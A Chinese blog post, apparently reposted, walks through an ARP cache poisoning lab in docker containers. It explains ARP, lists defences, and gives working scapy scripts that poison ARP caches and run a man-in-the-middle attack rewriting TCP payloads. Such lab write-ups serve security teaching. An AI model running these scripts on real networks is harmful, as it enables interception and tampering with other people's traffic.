arp缓存中毒实验

文章目录

  • 一、相关知识
    • 1.什么是arp(地址解析协议)
    • 2.什么是免费arp
      • (1)简介
      • (2)主要应用
      • (3)代码
    • 3.什么是arp缓存中毒
      • (1)简介
      • (2)过程
      • (3)目的
      • (4)防御
  • 二、arp缓存中毒 攻击过程
    • 1.搭建网络
      • (1)网络拓扑
      • (2)搭建网络的代码
    • 2.查看ip对应的MAC
      • (1)docker2(192.168.60.1)的MAC
      • (2)HostA和HostM的MAC
    • 3.arp缓存中毒攻击
      • (1)代码
    • 4.中间人攻击

参考资料:
TCP/IP Attacks – ARP Cache Poisoning Fundamentals Explained
ARP缓存中毒攻击

一、相关知识

1.什么是arp(地址解析协议)

ARP工作在OSI模型的第二层(数据链路层)和第三层(网络层)之间。

以下是ARP的基本工作流程:
1)ARP请求
当设备A需要向设备B发送数据时,它需要知道设备B的MA C地址。
设备A在其ARP缓存中查找设备B的IP地址是否已经对应了一个MAC地址。如果找不到,设备A会发送一个ARP请求。
ARP请求是一个广播消息,包含发送方的IP地址和MAC地址,以及目标设备的IP地址。
2)ARP响应
网络中的所有设备都会接收并检查这个ARP请求。只有目标设备(设备B)会进行响应。
设备B接收到ARP请求后,发送一个ARP响应,包含自己的MAC地址。
设备A接收到ARP响应后,将设备B的IP地址和MAC地址映射存储在其ARP缓存中。
3)数据传输
设备A现在有了设备B的MAC地址,可以通过数据链路层进行数据传输。

2.什么是免费arp

(1)简介

免费ARP(Gratuitous ARP)是一种特殊的ARP请求,设备发送这种请求并不是为了解析某个IP地址,而是为了主动通知网络中的其他设备关于自身的IP地址和MAC地址的映射。免费ARP消息中,源IP地址和目标IP地址都是发送设备的IP地址。以下是免费ARP的主要应用和工作原理。

(2)主要应用

1)IP地址冲突检测:
当设备启动并获取IP地址后,会发送一个免费ARP请求。
如果网络中存在另一台设备拥有相同的IP地址,该设备会响应此请求,从而检测到IP地址冲突。

2)ARP缓存更新:
当设备的MAC地址发生变化(例如,网卡更换或虚拟机迁移)时,发送免费ARP请求通知网络中的其他设备更新它们的ARP缓存。
这有助于保持网络中ARP缓存的最新状态,避免通信问题。

3)网络冗余和负载均衡:
在使用VRRP(虚拟路由器冗余协议)和HSRP(热备份路由协议)等协议时,主路由器发生切换后,会发送免费ARP请求通知网络中的设备更新ARP缓存,以指向新的主路由器。

(3)代码

from scapy.all import *# 构建免费ARP请求包
gratuitous_arp = ARP(op=1, psrc="192.168.1.100", hwsrc="aa:bb:cc:dd:ee:ff", pdst="192.168.1.100")# 发送免费ARP请求
send(gratuitous_arp, verbose=False)

3.什么是arp缓存中毒

(1)简介

ARP缓存中毒(ARP Cache Poisoning),也称为ARP欺骗(ARP Spoofing),是一种网络攻击技术,攻击者通过发送伪造的ARP(地址解析协议)消息到局域网(LAN),将其MAC地址与另一台合法计算机的IP地址相关联,从而导致网络数据包被错误地发送到攻击者的设备。

(2)过程

1)伪造ARP响应:攻击者向局域网中的其他设备发送伪造的ARP响应消息。这些伪造消息包含攻击者的MAC地址和被攻击者的IP地址。
2)更新ARP缓存:接收到伪造ARP响应的设备会更新其ARP缓存,错误地将攻击者的MAC地址与合法的IP地址相关联。
3)数据包重定向:由于设备的ARP缓存已被中毒,发送到受害者IP地址的数据包会被错误地发送到攻击者的设备。

(3)目的

1)中间人攻击(Man-in-the-Middle Attack):攻击者可以截获、监视和修改在两个设备之间传输的数据。
2)拒绝服务(Denial of Service, DoS):攻击者可以通过中毒多个设备的ARP缓存,导致网络中断。
3)网络嗅探(Network Sniffing):攻击者可以捕获敏感信息,如用户名、密码、银行信息等。

(4)防御

1)静态ARP表:在设备上配置静态ARP映射,防止动态更新。
2)ARP检测工具:使用工具监控和检测ARP欺骗行为。
3)加密通信:使用加密协议保护敏感数据,防止被篡改和窃取。

二、arp缓存中毒 攻击过程

1.搭建网络

(1)网络拓扑

在这里插入图片描述

(2)搭建网络的代码

在 VM 上创建 docker 网络 extranet 
$ sudo docker network create --subnet=10.0.2.0/24 --gateway=10.0.2.8 --opt 
"com.docker.network.bridge.name"="docker1" extranet 
在 VM 上创建 docker 网络 intranet 
$ sudo docker network create --subnet=192.168.60.0/24 --gateway=192.168.60.1 --
opt "com.docker.network.bridge.name"="docker2" intranet 
在 VM 上新开一个终端,创建并运行容器 Server2
$sudo docker run -it --name=Server2 --hostname=Server2 --net=extranet --
ip=10.0.2.7 --privileged "seedubuntu" /bin/bash 
在 VM 上新开一个终端,创建并运行容器 HostA
$sudo docker run -it --name=HostA --hostname=HostA --net=intranet --
ip=192.168.60.2 --privileged "seedubuntu" /bin/bash 
在 VM 上新开一个终端,创建并运行容器 HostM
$sudo docker run -it --name=HostM --hostname=HostM --net=intranet --
ip=192.168.60.3 --privileged "seedubuntu" /bin/bash

2.查看ip对应的MAC

(1)docker2(192.168.60.1)的MAC

命令: ifconfig

结果:

在这里插入图片描述

HostB(192.168.60.1)的MAC为02:42:53:be:7a:36

(2)HostA和HostM的MAC

让HostA和HostM互相Ping,再用arp -a查看arp表:

在这里插入图片描述
HostA(192.168.60.2)的MAC为 02:42:c0:a8:3c:02

HostM(192.168.60.3)的MAC为 02:42:c0:a8:3c:03

3.arp缓存中毒攻击

(1)代码

在桌面建立一个arp_request.py文件:

from scapy.all import *
from time import *# Machine A's informaton
IP_A = "192.168.60.2"
MAC_A = "02:42:c0:a8:3c:02"# Machine B's informaton
IP_B = "192.168.60.1"
MAC_B = "02:42:53:be:7a:36"# Attacker Machine's informaton
IP_M = "192.168.60.3"
MAC_M = "02:42:c0:a8:3c:03"print("SENDING SPOOFED ARP REPLY.........")# Construct spoofed ARP sent to machine A
ether1 = Ether()
ether1.dst = MAC_A
arp1 = ARP()
arp1.psrc = IP_B
arp1.hwsrc = MAC_M
arp1.pdst = IP_A
arp1.op = 1
frame1 = ether1/arp1# Construct spoofed ARP sent to machine B
ether2 = Ether()
ether2.dst = MAC_B
arp2 = ARP()
arp2.psrc = IP_A
arp2.hwsrc = MAC_M
arp2.pdst = IP_B
arp2.op = 1
frame2 = ether2/arp2while 1:sendp(frame1)sendp(frame2)sleep(5)

首先需要启动容器HostA和HostM:
sudo docker start HostA
sudo docker start HostM

将arp_request.py文件从主机移到HostM容器里:
sudo docker cp arp_request.py HostM:/

重新开一个终端,进入HostA,并ping192.168.60.1和192.168.60.3:
sudo docker exec -it HostA bin/bash
ping 192.168.60.1
ping 192.168.60.3

重新开一个终端,进入HostM,运行上述代码文件:
sudo docker exec -it HostM bin/bash
python3 arp_request.py

在HostA终端查看HostA的arp表:
arp -a
可以发现,HostB和HostM的MAC此时是一样的。

在这里插入图片描述

4.中间人攻击

(1)首先应该打开HostM的IP转发:sudo sysctl -w net.ipv4.ip_forward=1

(2)在HostA和HostB之间建立网络连接。
例如,可以使用netcat:
在HostB上启动监听:nc -l -p 12345
在HostA上连接HostB:nc 192.168.60.1 12345

(3)关闭HostM的IP转发
sudo sysctl -w net.ipv4.ip_forward=0

(4)HostM运行代码middle.py

#!/usr/bin/python
from scapy.all import *VM_A_IP = "192.168.60.2"
VM_B_IP = "192.168.60.1"MAC_A = "02:42:c0:a8:3c:02"
MAC_B = "02:42:53:be:7a:36"def spoof_pkt(pkt):if pkt[IP].src == VM_A_IP and pkt[IP].dst == VM_B_IP and pkt[TCP].payload:print("ARP Cache Poisoning Man-in-the-MiddleAttacking...")data = pkt[TCP].payload.loadprint("Original Packet.........")print("Source IP: ", pkt[IP].src)print("Destination IP: ", pkt[IP].dst)print("Message: ", data)print("Message Length: %d" % (len(data)))newpkt = IP(bytes(pkt[IP]))del (newpkt.chksum)del (newpkt[TCP].payload)del (newpkt[TCP].chksum)newdata = data.replace(b'123', b'456')newpkt = newpkt/newdataprint("Spoofed Packet.........")print("Source IP : ", newpkt[IP].src)print("Destination IP :", newpkt[IP].dst)print("Message: ", newdata)print("Message Length: %d" % (len(newdata)))send(newpkt)elif pkt[IP].src == VM_B_IP and pkt[IP].dst == VM_A_IP:print("The message is sent from host B to host A...")newpkt = pkt[IP]send(newpkt)f = 'tcp and (ether src ' + MAC_A + ' or ' + \'ether src ' + MAC_B + ' )'
pkt = sniff(iface="eth0", filter=f, prn=spoof_pkt)

此时,A给B发送123,B收到的是456

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://xiahunao.cn/news/3224296.html

如若内容造成侵权/违法违规/事实不符,请联系瞎胡闹网进行投诉反馈,一经查实,立即删除!

相关文章

windows系统无法使用网络共享服务,设置防火墙入站规则解决

我们使用虚拟机的时候,已经配置好了网络,但是虚拟机和物理机就是无法通讯。可以使用关闭防火墙的方式解决这个问题,但是这个方法不是长久之计,非常不安全。那么,有什么其他的解决办法吗? 其中,p…

基于STM主题模型的主题提取分析-完整代码数据

直接看结果: 代码: import re from collections import defaultdict import random import matplotlib.pyplot as plt import numpy as npimport pandas as pd import numpy as np import re from sklearn.feature_extraction.text import CountVectorizer from nltk.corpus…

grafana数据展示

目录 一、安装步骤 二、如何添加喜欢的界面 三、自动添加注册客户端主机 一、安装步骤 启动成功后 可以查看端口3000是否启动 如果启动了就在浏览器输入IP地址:3000 账号密码默认是admin 然后点击 log in 第一次会让你修改密码 根据自定义密码然后就能登录到界面…

如何在 CentOS 上配置本地 YUM 源

引言 CentOS 作为一个流行的企业级 Linux 发行版,依赖 YUM(Yellowdog Updater, Modified)来管理软件包。YUM 源(Repository)是软件包存储和分发的中心,它们通常位于互联网上。然而,在某些情况下…

Python神经模型评估微分方程图算法

🎯要点 🎯神经网络映射关联图 | 🎯执行时间分析 | 🎯神经网络结构降维 | 🎯量化图结构边作用 | 🎯数学评估算法实现 🍪语言内容分比 🍇Python随机梯度下降算法 随机梯度下降是梯度…

python采集阿里巴巴历年员工人数统计报告

数据为2012到2022财年阿里巴巴每年的全职员工数量。截止2022年3月31日,阿里巴巴共有全职员工254941人,比上年增长3479人。 数据来源于阿里巴巴20-F和F-1文件 按阿里巴巴财政年度进行统计,阿里巴巴财年结束日期为每年3月31日 为全职员工人数 阿…

博客标题:C++中的继承:构建面向对象的基石

目录 ​编辑 引言 继承的基本形式 示例1:基本继承 继承的类型 示例2:不同类型的继承 多重继承 示例3:多重继承 继承与多态性 示例4:继承与多态 结论 结尾 引言 在面向对象编程(OOP)中&#xff…

庞加莱猜想真的被证明了吗

一般认为,庞加莱猜想作出巨大贡献的,主要是瑟斯顿(Thurston),他给出了几何化猜想,认为宇宙一定由八种基本拓扑形状构成。 第一,在之前,1961年斯梅尔宣称证明了五维和五维以上成立的结论。1981年弗里德曼宣称…

一文理解 Treelite,Treelite 为决策树集成模型的部署和推理提供了高效、灵活的解决方案

🍉 CSDN 叶庭云:https://yetingyun.blog.csdn.net/ 一、什么是 Treelite? Treelite 是一个专门用于将决策树集成模型高效部署到生产环境中的机器学习模型编译器,特别适合处理大批量数据的推理任务,能够显著提升推理性能…

192.168.1.1路由器管理系统使用教程

节选自:192.168.1.1路由器管理系统-厂商有哪些-如何使用-无法登录原因-苏州稳联 什么是 192.168.1.1 路由器管理系统? 192.168.1.1 是大多数家庭路由器的默认 IP 地址,用于访问路由器的管理控制台。通过这个管理系统,用户可以配…

Pearson 相关系数的可视化辅助判断和怎么用

Pearson 相关系数的可视化辅助判断和怎么用 flyfish Pearson 相关系数 是一种用于衡量两个连续型变量之间线性相关程度的统计量。其定义为两个变量协方差与标准差的乘积的比值。公式如下: r ∑ ( x i − x ˉ ) ( y i − y ˉ ) ∑ ( x i − x ˉ ) 2 ∑ ( y i −…

国际网课平台Udemy上的亚马逊云科技AWS免费高分课程和创建、维护EC2动手实践

亚马逊云科技(AWS)是全球云行业最🔥火的云平台,在全球经济形势不好的大背景下,通过网课学习亚马逊云科技AWS基础备考亚马逊云科技AWS证书,对于找工作或者无背景转行做AWS帮助巨大。欢迎大家关注小李哥,及时了解世界最前…

数据类型及数据块认知

西门子STEP7编程语言 梯形图(LAD) 功能块图(FBD) 语句表(STL) 其中梯形图和功能块图可以相互转换 CPU常用数据区 信号输入区 I 信号输出区 Q 程序中表现形式,IX.X/QX.X;IWX/QWX-访问的是CPU输出输入过程映像区 另一种形式IWX:P/QWX:P-访问的是信号端口地址&#xf…

红酒的秘密配方:如何调配出个性化的口感?

在红酒的世界里,每一滴都蕴藏着大自然的秘密和酿酒师的匠心。那些令人陶醉的口感、迷人的色泽和香气,都是经过精心调配和时光酝酿的结果。今天,就让我们一起揭开红酒调配的神秘面纱,探索如何调配出个性化的口感,感受雷…

推荐4款免费好用文本转语音工具

Edge文本转语音 Edge文本转语音功能主要通过Edge-TTS实现。Edge-TTS是由微软开发的文本转语音(TTS)Python库,利用微软Azure Cognitive Services的强大功能,能够将文本信息转换成流畅自然的语音输出。该库支持多种中文语音语色&…

Idea使用EasyApi插件自动生成接口文档到Yapi

1.安装EasyApi插件 2.配置Yapi 设置-》EasyApi Yapi的Server 配置为Yari项目的地址 tokens:项目名Yapi项目里面的token:例如:test-project0e6cfb3c22c884a0fce108fffe554a20ca12341e421d7201233143ee440af36b mytest-portal0e6cfb3c22c884a…

【Linux进阶】文件系统4——文件系统特性

1.磁盘组成与分区的复习 首先说明一下磁盘的物理组成,整块磁盘的组成主要有: 圆形的碟片(主要记录数据的部分);机械手臂,与在机械手臂上的磁头(可擦写碟片上的数据);主轴马达,可以…

从“+AI”到“AI+”,时代进入“Next Level”

“创新的速度比创新本身更重要。”埃隆马斯克曾这样说到。 近日,由马斯克所掌舵的特斯拉,在2024年世界人工智能大会上正式推出了第二代Optimus(擎天柱)人形机器人,距离第一代面世,仅过去9个月。 加速升级…

Java 操作 Redis客户端

目录 1.渐进式遍历 2.Java 操作 Redis 客户端 2.1 引入依赖 2.2 配置端口转发 2.3 连接Redis Server 3.基础操作 3.1 set 和 get 3.2 exists 和 del 3.3 keys 3.4 expire 和 ttl 3.5 type 4.字符串操作 4.1 mget 和 mset 4.2 append 4.3 getrange 和 setrange 4.4 incr 和 d…

第5章-组合序列类型

#全部是重点知识,必须会。 了解序列和索引|的相关概念 掌握序列的相关操作 掌握列表的相关操作 掌握元组的相关操作 掌握字典的相关操作 掌握集合的相关操作1,序列和索引 1,序列是一个用于存储多个值的连续空间,每一个值都对应一…